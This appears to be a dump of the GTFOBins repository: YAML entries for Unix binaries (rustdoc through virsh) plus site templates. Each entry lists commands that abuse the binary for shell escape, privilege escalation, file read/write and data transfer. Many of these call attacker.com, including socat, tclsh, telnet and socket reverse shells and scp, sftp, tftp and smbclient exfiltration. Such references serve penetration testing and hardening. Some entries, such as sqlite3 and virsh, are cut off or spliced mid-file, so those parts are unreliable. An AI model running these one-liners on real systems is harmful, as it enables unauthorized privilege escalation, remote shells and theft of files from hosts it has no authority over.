_gtfobins/rustdoc ================================================ --- functions: file-read: - binary: false code: |- rustdoc /path/to/input-file comment: |- Partial content is displayed as error messages. contexts: sudo: unprivileged: file-write: - binary: false code: |- echo '//! DATA' >/path/to/temp-file rustdoc /path/to/temp-file -o /path/to/output-dir/ comment: |- This command creates a number of documentation files in the target directory, and the data is written in multiple locations, e.g., `src/temp_file/temp-file.html`, amidst other content. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rustfmt ================================================ --- functions: file-read: - binary: false code: |- rustfmt /path/to/input-file comment: |- Partial content is displayed as error messages. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rustup ================================================ --- functions: command: - code: |- mkdir /path/to/temp-dir/bin/ mkdir /path/to/temp-dir/lib/ echo '/path/to/command' >/path/to/temp-dir/bin/rustc chmod +x /path/to/temp-dir/bin/rustc rustup toolchain link x /path/to/temp-dir/ rustup run x rustc contexts: sudo: unprivileged: shell: - code: |- mkdir /path/to/temp-dir/bin/ mkdir /path/to/temp-dir/lib/ cp /bin/sh /path/to/temp-dir/bin/rustc rustup toolchain link x /path/to/temp-dir/ rustup run x rustc contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rview ================================================ --- alias: view ... ================================================ FILE: _gtfobins/rvim ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/sash ================================================ --- functions: shell: - code: |- sash contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/scanmem ================================================ --- functions: shell: - code: |- scanmem shell /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/scp ================================================ --- functions: download: - code: |- scp user@attacker.com:/path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: sender: ssh-server shell: - code: |- echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file chmod +x /path/to/temp-file scp -S /path/to/temp-file x x: contexts: sudo: suid: shell: true unprivileged: - code: |- scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x: contexts: sudo: suid: shell: true unprivileged: upload: - code: |- scp /path/to/input-file user@attacker.com:/path/to/output-file contexts: sudo: suid: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/screen ================================================ --- functions: file-write: - binary: false code: |- screen -L -Logfile /path/to/output-file echo DATA comment: |- Data is appended to the file and `\n` is converted to `\r\n`. contexts: sudo: unprivileged: version: |- 4.06.02 - binary: false code: |- screen -L /path/to/output-file echo DATA comment: |- Data is appended to the file and `\n` is converted to `\r\n`. contexts: sudo: unprivileged: version: |- 4.05.00 shell: - code: |- screen contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/script ================================================ --- functions: file-write: - binary: false code: |- script -q -c '# DATA' /path/to/output-file comment: |- The content appears among the log prints. contexts: sudo: suid: unprivileged: shell: - code: |- script -q /dev/null contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/scrot ================================================ --- comment: |- This requires a running X server. functions: shell: - code: |- scrot -e /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/sed ================================================ --- functions: file-read: - code: |- sed '' /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts contexts: sudo: suid: unprivileged: shell: - code: |- sed -n '1e exec /bin/sh 1>&0' /etc/hosts contexts: sudo: suid: shell: true unprivileged: version: |- GNU - code: |- sed e contexts: sudo: suid: shell: true unprivileged: tty: false version: |- GNU ... ================================================ FILE: _gtfobins/service ================================================ --- functions: shell: - code: |- service ../../bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/setarch ================================================ --- functions: shell: - code: |- setarch -3 /bin/sh contexts: sudo: suid: code: |- setarch -3 /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/setcap ================================================ --- functions: privilege-escalation: - code: |- setcap cap_setuid+ep /path/to/command comment: |- This can be used to assign capabilities to executable files. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/setfacl ================================================ --- functions: privilege-escalation: - code: |- setfacl -m u:$(id -un):rwx /path/to/input-file comment: |- This can be run with elevated privileges to change ownership and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/setlock ================================================ --- functions: shell: - code: |- setlock - /bin/sh contexts: sudo: suid: code: |- setlock - /bin/sh -p shell: true unprivileged: ... ================================================ FILE: _gtfobins/sftp ================================================ --- functions: download: - code: |- sftp user@attacker.com get /path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: sender: ssh-server shell: - code: |- sftp user@attacker.com !/bin/sh comment: |- This still requires a successfull connection to the server. contexts: sudo: suid: shell: true unprivileged: upload: - code: |- sftp user@attacker.com put /path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/sg ================================================ --- functions: shell: - code: |- sg $(id -ng) comment: |- Commands can be run if the current user's group is specified, therefore no additional permissions are needed. contexts: sudo: code: |- sg root unprivileged: ... ================================================ FILE: _gtfobins/shred ================================================ --- functions: file-write: - code: |- shred -u /path/to/output-file comment: |- This actually deletes the chosen file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/shuf ================================================ --- functions: file-read: - code: |- shuf -z /path/to/input-file comment: |- The read file content is corrupted by randomizing the order of NUL terminated strings. contexts: sudo: suid: unprivileged: file-write: - code: |- shuf -e DATA -o /path/to/output-file comment: |- The written file content is corrupted by adding a newline. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/slsh ================================================ --- functions: shell: - code: |- slsh -e 'system("/bin/sh")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/smbclient ================================================ --- functions: download: - code: |- smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file' contexts: sudo: unprivileged: sender: code: |- smbserver.py -smb2support share . comment: |- A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket)). shell: - code: |- smbclient '\\host\share' !/bin/sh comment: |- A valid SMB/CIFS server must be available. contexts: sudo: unprivileged: upload: - code: |- smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file' contexts: sudo: unprivileged: receiver: code: |- smbserver.py -smb2support share . comment: |- A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket)). ... ================================================ FILE: _gtfobins/snap ================================================ --- functions: command: - code: |- snap install xxxx_1.0_all.snap --dangerous --devmode comment: |- Generate the Snap package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` mkdir -p meta/hooks echo -e '#!/bin/sh\n/path/to/command; false' >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta ``` contexts: sudo: ... ================================================ FILE: _gtfobins/socat ================================================ --- functions: bind-shell: - code: |- socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane connector: tcp-client-tty contexts: sudo: suid: code: |- socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane' shell: false unprivileged: download: - code: |- socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat contexts: sudo: suid: unprivileged: sender: tcp-server file-read: - code: |- socat -u file:/path/to/input-file - contexts: sudo: suid: unprivileged: file-write: - code: |- socat -u 'exec:echo DATA' open:/path/to/output-file,creat comment: |- The `echo` command is actually used. contexts: sudo: suid: unprivileged: reverse-shell: - code: |- socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane contexts: sudo: suid: code: |- socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane' shell: false unprivileged: listener: tcp-server-tty shell: - code: |- socat - exec:/bin/sh,pty,ctty,raw,echo=0 contexts: sudo: suid: code: |- socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0' shell: false unprivileged: upload: - code: |- socat -u file:/path/to/input-file tcp-connect:attacker.com:12345 contexts: sudo: suid: unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/socket ================================================ --- functions: bind-shell: - code: |- socket -svp '/bin/sh -i' 12345 connector: tcp-client contexts: sudo: suid: shell: true unprivileged: reverse-shell: - code: |- socket -qvp '/bin/sh -i' attacker.com 12345 contexts: sudo: suid: shell: true unprivileged: listener: tcp-server ... ================================================ FILE: _gtfobins/soelim ================================================ --- functions: file-read: - binary: false code: |- soelim /path/to/input-file comment: |- The content is actually parsed and corrupted by the command. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/softlimit ================================================ --- functions: shell: - code: |- softlimit /bin/sh contexts: sudo: suid: code: |- softlimit /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/sort ================================================ --- functions: file-read: - binary: false code: |- sort -m /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- echo DATA | sort -m -o /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/split ================================================ --- functions: file-read: - code: |- split -b 999 --additional-suffix suffix /path/to/input-file prefix cat prefixaasuffix comment: |- This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`. contexts: sudo: suid: unprivileged: version: |- The `--additional-suffix` flag is only available in the GNU version. file-write: - code: |- split -b 999 --additional-suffix suffix /path/to/input-file prefix comment: |- This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`. contexts: sudo: suid: unprivileged: version: |- The `--additional-suffix` flag is only available in the GNU version. shell: - code: |- split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/sqlite3 ================================================ --- functions: file-read: - binary: false code: |- sqlite3 </path/to/output-file" contexts: sudo: suid: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/ssh-agent ================================================ --- functions: shell: - code: |- ssh-agent /bin/sh contexts: sudo: suid: code: |- ssh-agent /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/ssh-copy-id ================================================ --- functions: file-read: - code: |- ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com comment: |- The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used. contexts: sudo: unprivileged: file-write: - code: |- ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host comment: |- The input file must have the `.pub` file extension. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ssh-keygen ================================================ --- functions: library-load: - code: |- ssh-keygen -D /path/to/lib.so comment: |- The shared library must contain the `void C_GetFunctionList() {}` function. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ssh-keyscan ================================================ --- functions: file-read: - code: |- ssh-keyscan -f /path/to/input-file comment: |- The file content is actually parsed so only a part of each line is returned as a part of an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/sshfs ================================================ --- functions: command: - blind: true code: |- sshfs -o ssh_command=/path/to/command x: /path/to/dir/ contexts: sudo: unprivileged: download: - code: |- sshfs user@attacker.com:/ /path/to/dir/ cp /path/to/dir/path/to/input-file /path/to/output-file contexts: unprivileged: sender: ssh-server shell: - code: |- echo -e '/bin/sh /dev/tty 2>/dev/tty' >/path/to/temp-file chmod +x /path/to/temp-file sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/ comment: |- The mount dir must be writable by the invoking user. contexts: sudo: unprivileged: upload: - code: |- sshfs user@attacker.com:/ /path/to/dir/ cp /path/to/input-file /path/to/dir/ contexts: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/sshpass ================================================ --- functions: shell: - code: |- sshpass /bin/sh contexts: sudo: suid: code: |- sshpass /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/sshuttle ================================================ --- functions: shell: - code: |- sudo sshuttle -r x --ssh-cmd '/bin/sh -c "/bin/sh 0<&2 1>&2"' localhost contexts: sudo: ... ================================================ FILE: _gtfobins/start-stop-daemon ================================================ --- functions: shell: - code: |- start-stop-daemon -S -x /bin/sh contexts: sudo: suid: code: |- start-stop-daemon -S -x /bin/sh -- -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/stdbuf ================================================ --- functions: shell: - code: |- stdbuf -i0 /bin/sh contexts: sudo: suid: code: |- stdbuf -i0 /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/strace ================================================ --- functions: file-write: - code: |- strace -s 999 -o /path/to/output-file strace - DATA comment: |- The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`. contexts: sudo: unprivileged: shell: - code: |- strace -o /dev/null /bin/sh contexts: sudo: suid: code: |- strace -o /dev/null /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/strings ================================================ --- functions: file-read: - binary: false code: |- strings /path/to/input-file comment: |- This only returns ASCII strings. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/su ================================================ --- functions: shell: - code: |- su -c /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/sudo ================================================ --- functions: shell: - code: |- sudo /bin/sh contexts: sudo: comment: |- The invocation is actually `sudo sudo ...`. ... ================================================ FILE: _gtfobins/sysctl ================================================ --- functions: command: - blind: true code: |- sysctl 'kernel.core_pattern=|/path/to/command' comment: |- The command is executed by `root` in the background when a core dump occurs. To trigger a core dump, send the `SIGQUIT` signal to a process, for example: ``` sleep infinity & kill -QUIT $! ``` contexts: sudo: suid: file-read: - binary: false code: |- sysctl -n "/../../path/to/input-file" contexts: sudo: suid: unprivileged: version: |- < 4 ... ================================================ FILE: _gtfobins/systemctl ================================================ --- functions: inherit: - code: |- systemctl contexts: sudo: suid: unprivileged: from: less shell: - code: |- echo '[Service] Type=oneshot ExecStart=/path/to/command [Install] WantedBy=multi-user.target' >/path/to/temp-file.service systemctl link /path/to/temp-file.service systemctl enable --now /path/to/temp-file.service comment: |- It might happen that the service is not started with `--now`, in such cases it might be necessary to manually start it. contexts: sudo: suid: - code: |- echo /bin/sh >/path/to/temp-file chmod +x /path/to/temp-file SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target contexts: sudo: ... ================================================ FILE: _gtfobins/systemd-resolve ================================================ --- functions: inherit: - code: |- systemd-resolve --status contexts: sudo: from: less ... ================================================ FILE: _gtfobins/systemd-run ================================================ --- functions: command: - blind: true code: |- systemd-run /path/to/command contexts: sudo: shell: - code: |- systemd-run -S contexts: sudo: - code: |- systemd-run -t /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/tac ================================================ --- functions: file-read: - binary: false code: |- tac -s 'RANDOM' /path/to/input-file comment: |- Make sure that `RANDOM` does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of `RANDOM`-separated chunks. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tail ================================================ --- functions: file-read: - code: |- tail -c+0 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tailscale ================================================ --- functions: upload: - code: |- tailscale serve --http=12345 /path/to/input-file comment: |- The URL is reachable by any host of the same Tailnet. contexts: sudo: receiver: code: |- curl http://..ts.net:12345/ -o /path/to/output-file comment: |- An HTTP client can be used on the attacker box to receive the data. The actual URL is returned by the command. ... ================================================ FILE: _gtfobins/tar ================================================ --- functions: download: - code: |- tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh comment: |- The attacker box must have the `rmt` utility installed. contexts: sudo: suid: unprivileged: sender: ssh-server version: |- GNU file-read: - code: |- tar cf /dev/stdout /path/to/input-file -I 'tar xO' comment: |- The file is read then passed to the specified command (e.g., `tar xO`) via standard input. contexts: sudo: suid: unprivileged: version: |- GNU file-write: - code: |- echo DATA >/path/to/temp-file tar cf /path/to/temp-file.tar /path/to/temp-file tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@ comment: |- The archive can also be prepared offline then uploaded to the target. contexts: sudo: suid: unprivileged: version: |- GNU shell: - code: |- tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh contexts: sudo: suid: shell: true unprivileged: - code: |- tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"' contexts: sudo: suid: code: |- tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"' shell: false unprivileged: version: |- GNU - code: |- echo '/bin/sh 0<&1' >/path/to/temp-file tar cf /path/to/temp-file.tar /path/to/temp-file tar xf /path/to/temp-file.tar --to-command /bin/sh comment: |- The archive can also be prepared offline then uploaded to the target. contexts: sudo: suid: unprivileged: version: |- GNU upload: - code: |- tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh comment: |- The attacker box must have the `rmt` utility installed. contexts: sudo: suid: unprivileged: receiver: ssh-server version: |- GNU ... ================================================ FILE: _gtfobins/task ================================================ --- functions: shell: - code: |- task execute /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/taskset ================================================ --- functions: shell: - code: |- taskset 1 /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/tasksh ================================================ --- functions: shell: - code: |- tasksh !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tbl ================================================ --- functions: file-read: - binary: false code: |- tbl /path/to/input-file comment: |- The read file content is corrupted by additional text at the beginning. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tclsh ================================================ --- functions: library-load: - code: |- tclsh load /path/to/lib.so x contexts: capabilities: sudo: suid: unprivileged: reverse-shell: - code: |- tclsh set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s; contexts: sudo: suid: unprivileged: listener: tcp-server shell: - code: |- tclsh contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tcpdump ================================================ --- functions: command: - code: |- echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file comment: |- This requires some traffic to be actually captured. Also note that the subprocess is immediately sent to the background. contexts: sudo: code: |- echo /path/to/command" >/path/to/temp-file chmod +x /path/to/temp-file tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file -Z root unprivileged: version: |- In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following. - code: |- tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command comment: |- This require some traffic to be actually captured. Also note that the `command-argument` string is both passed to the command and written as file, hence some restrictions apply. contexts: sudo: unprivileged: file-write: - code: |- tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user comment: |- This saves the packet dump (count is 1) from the loopback interface to a file. To trigger the capture use something like: ``` nc -u localhost 1 <</path/to/output-file' contexts: sudo: suid: code: |- tcsh -bc 'echo DATA >/path/to/output-file' unprivileged: shell: - code: |- tcsh contexts: sudo: suid: code: |- tcsh -b unprivileged: ... ================================================ FILE: _gtfobins/tdbtool ================================================ --- functions: shell: - code: |- tdbtool ! /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tee ================================================ --- functions: file-write: - code: |- echo DATA | tee /path/to/output-file comment: |- Use `-a` to append data to exising files. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/telnet ================================================ --- functions: reverse-shell: - code: |- mkfifo /path/to/temp-socket telnet attacker.com 12345 /path/to/temp-socket comment: |- The shell process is not spawn by `openssl`. contexts: sudo: suid: unprivileged: shell: - code: |- telnet !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/terraform ================================================ --- functions: file-read: - binary: false code: |- terraform console file("/path/to/input-file") contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tex ================================================ --- functions: shell: - code: |- tex --shell-escape '\immediate\write18{/bin/sh}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tftp ================================================ --- functions: download: - code: |- tftp attacker.com get /path/to/input-file contexts: sudo: suid: unprivileged: sender: code: |- atftpd --no-fork --verbose --daemon --no-fork --user root.root . comment: |- A TFTP server can be used on the attacker box to send the data. upload: - code: |- tftp attacker.com put /path/to/input-file contexts: sudo: suid: unprivileged: receiver: code: |- atftpd --no-fork --verbose --daemon --no-fork --user root.root . comment: |- A TFTP server can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/tic ================================================ --- functions: file-read: - code: |- tic -C /path/to/input-file comment: |- This translates a terminfo file from source format into compiled format. It will attempt to translate an arbitrary file and output the contents of the file on failure. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/time ================================================ --- functions: shell: - code: |- time /bin/sh comment: |- Note that the shell might have its own builtin `time` implementation, which may behave differently than the binary, which is often located at `/usr/bin/time`. contexts: sudo: suid: code: |- time /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/timedatectl ================================================ --- comment: |- This might not work if run by unprivileged users depending on the system configuration. functions: inherit: - code: |- timedatectl list-timezones contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/timeout ================================================ --- functions: shell: - code: |- timeout 0 /bin/sh contexts: sudo: suid: code: |- timeout 0 /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/tmate ================================================ --- functions: shell: - code: |- tmate -c /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tmux ================================================ --- functions: file-read: - binary: false code: |- tmux -f /path/to/input-file comment: |- The file is read and parsed as a `tmux` configuration file, part of the first invalid line is returned in an error message. contexts: sudo: suid: unprivileged: shell: - code: |- tmux -c /bin/sh contexts: sudo: suid: shell: true unprivileged: - code: |- tmux -S /path/to/socket comment: |- Provided to have enough permissions to access the socket (e.g., `/tmp/tmux-xxx/default`). contexts: sudo: suid: unprivileged: version: |- < 3.3 ... ================================================ FILE: _gtfobins/top ================================================ --- functions: shell: - code: |- echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc top # press return twice reset comment: |- The config path might be different. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/torify ================================================ --- functions: shell: - code: |- torify /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/torsocks ================================================ --- functions: shell: - code: |- torsocks /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/troff ================================================ --- functions: file-read: - binary: false code: |- troff /path/to/input-file comment: |- The file is typeset but text is still readable in the output, alternatively the output can be read with `man -l`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tsc ================================================ --- functions: file-read: - binary: false code: |- tsc /path/to/input-file.ts comment: |- Content is leaked as error messages. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc. contexts: sudo: unprivileged: file-write: - binary: false code: |- tsc /path/to/input-file.ts --outFile /path/to/output-file comment: |- Content is leaked as error messages and written to file. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/tshark ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/temp-file tshark -Xlua_script:/path/to/temp-file comment: |- This allows to run Lua code (`...`). contexts: sudo: unprivileged: from: lua ... ================================================ FILE: _gtfobins/ul ================================================ --- functions: file-read: - binary: false code: |- ul /path/to/input-file comment: |- The read file content is corrupted by replacing occurrences of `$'\b_'` to terminal sequences and by converting tabs to spaces. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/unexpand ================================================ --- functions: file-read: - binary: false code: |- unexpand -t999 /path/to/input-file comment: |- Convert sequences of (e.g., `999`) spaces to tab. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/uniq ================================================ --- functions: file-read: - binary: false code: |- uniq /path/to/input-file comment: |- The read file content is corrupted by squashing multiple adjacent lines. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/unshare ================================================ --- functions: shell: - code: |- unshare /bin/sh contexts: sudo: suid: code: |- unshare -r /bin/sh unprivileged: ... ================================================ FILE: _gtfobins/unsquashfs ================================================ --- comment: |- `unsquashfs` preserve the SUID bit when extracting the file system. For example, prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh mksquashfs sh shell ``` functions: privilege-escalation: - code: |- unsquashfs shell ./squashfs-root/sh -p contexts: sudo: suid: ... ================================================ FILE: _gtfobins/unzip ================================================ --- comment: |- Certain `unzip` versions allows to preserve the SUID bit. For example, prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh zip shell.zip sh ``` functions: privilege-escalation: - code: |- unzip -K shell.zip ./sh -p contexts: sudo: suid: ... ================================================ FILE: _gtfobins/update-alternatives ================================================ --- functions: file-write: - code: |- echo DATA >/path/to/temp-file update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0 comment: |- Write in `/path/to/output-file` a symlink to `/path/to/temp-file`. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/urlget ================================================ --- functions: file-read: - code: |- urlget - /path/to/input-file comment: |- This is part of `gettext` and usually not in `PATH`, e.g., on Arch it can be found at `/usr/lib/gettext/urlget`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/uuencode ================================================ --- functions: file-read: - binary: false code: |- uuencode /path/to/input-file /dev/stdout | uudecode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/uv ================================================ --- functions: shell: - code: |- uv run /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/vagrant ================================================ --- functions: inherit: - code: |- echo '...' >Vagrantfile vagrant up comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/valgrind ================================================ --- functions: shell: - code: |- valgrind /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/varnishncsa ================================================ --- comment: |- A running `varnishd` instance must be available. functions: file-write: - binary: false code: |- varnishncsa -g request -q 'ReqURL ~ "/xxxxxxxxxx"' -F '%{yyy}i' -w /path/to/output-file comment: |- The command hangs, so the trigger command must be performed asynchronously or in another terminal: ``` curl -H 'xxx: DATA' http://localhost:6081/xxxxxxxxxx ``` contexts: sudo: suid: ... ================================================ FILE: _gtfobins/vi ================================================ --- functions: file-read: - code: |- vi /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- vi /path/to/output-file iDATA ^[ w comment: |- Where `^[` is the escape key. contexts: sudo: suid: unprivileged: shell: - code: |- vi -c ':!/bin/sh' /dev/null contexts: sudo: suid: shell: true unprivileged: - code: |- vi -c ':shell' contexts: sudo: suid: shell: true unprivileged: - code: |- vi -c ':set shell=/bin/sh | shell' contexts: sudo: suid: code: |- vi -c ':set shell=/bin/sh\ -p | shell' shell: false unprivileged: - code: |- vi -c :terminal /bin/sh contexts: sudo: suid: code: |- vi -c ':terminal /bin/sh -p' shell: false unprivileged: ... ================================================ FILE: _gtfobins/view ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/vigr ================================================ --- functions: inherit: - code: |- vigr comment: |- Despite requiring superuser privileges to run, the editor is executed as the unprivileged user. contexts: sudo: suid: from: vi ... ================================================ FILE: _gtfobins/vim ================================================ --- functions: file-read: - binary: false code: |- vim -c ':redir! >/path/to/output-file | echo "DATA" | redir END | q' contexts: sudo: suid: unprivileged: inherit: - code: |- vim -c ':py ...' comment: |- This allows to run Python code (`...`). contexts: sudo: suid: unprivileged: from: python - code: |- vim -c ':lua ...' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua - code: |- vim contexts: sudo: suid: unprivileged: from: vi ... ================================================ FILE: _gtfobins/vimdiff ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/vipw ================================================ --- functions: inherit: - code: |- vipw comment: |- Despite requiring superuser privileges to run, the editor is executed as the unprivileged user. contexts: sudo: suid: from: vi ... ================================================ FILE: _gtfobins/virsh ================================================ --- functions: command: - code: |- cat >/path/to/temp-file.xml < x hvm 1 ================================================ FILE: _includes/page_title.html ================================================

{%- if page.url != '/' -%} .. / {{ include.title }} {%- else -%} GTFOBins {%- endif -%}

================================================ FILE: _layouts/common.html ================================================ {%- if page.layout == 'gtfobin' -%} {%- capture gtfobin_name -%}{%- include get_gtfobin_name.html path=page.path -%}{%- endcapture -%} {%- capture title -%}{{ gtfobin_name }}{{ ' | ' }}{{ site.title }}{%- endcapture -%} {%- capture description -%}Living off the land using "{{ gtfobin_name }}".{%- endcapture -%} {%- else -%} {%- capture title -%}{%- if page.url != '/' -%}{{ page.title }}{{ ' | ' }}{%- endif -%}{{ site.title }}{%- endcapture -%} {%- assign description = page.description -%} {%- endif -%} {{ title }} {{ content }} ================================================ FILE: _layouts/gtfobin.html ================================================ --- layout: common --- {%- assign original_gtfobin = page -%} {%- comment -%} get the default context name to use it as default {%- endcomment -%} {%- assign default_context_name = site.data.contexts | first | first -%} {%- comment -%} executable title {%- endcomment -%} {%- capture gtfobin_name -%}{%- include get_gtfobin_name.html path=original_gtfobin.path -%}{%- endcapture -%} {%- include page_title.html title=gtfobin_name -%} {%- comment -%} resolve the alias {%- endcomment -%} {%- if original_gtfobin.alias -%} {%- include get_gtfobin.html name=original_gtfobin.alias -%} {%- assign gtfobin = return_gtfobin -%} {%- comment -%} render a message about being an alias {%- endcomment -%}

This is an alias of {{ return_gtfobin_name }}.

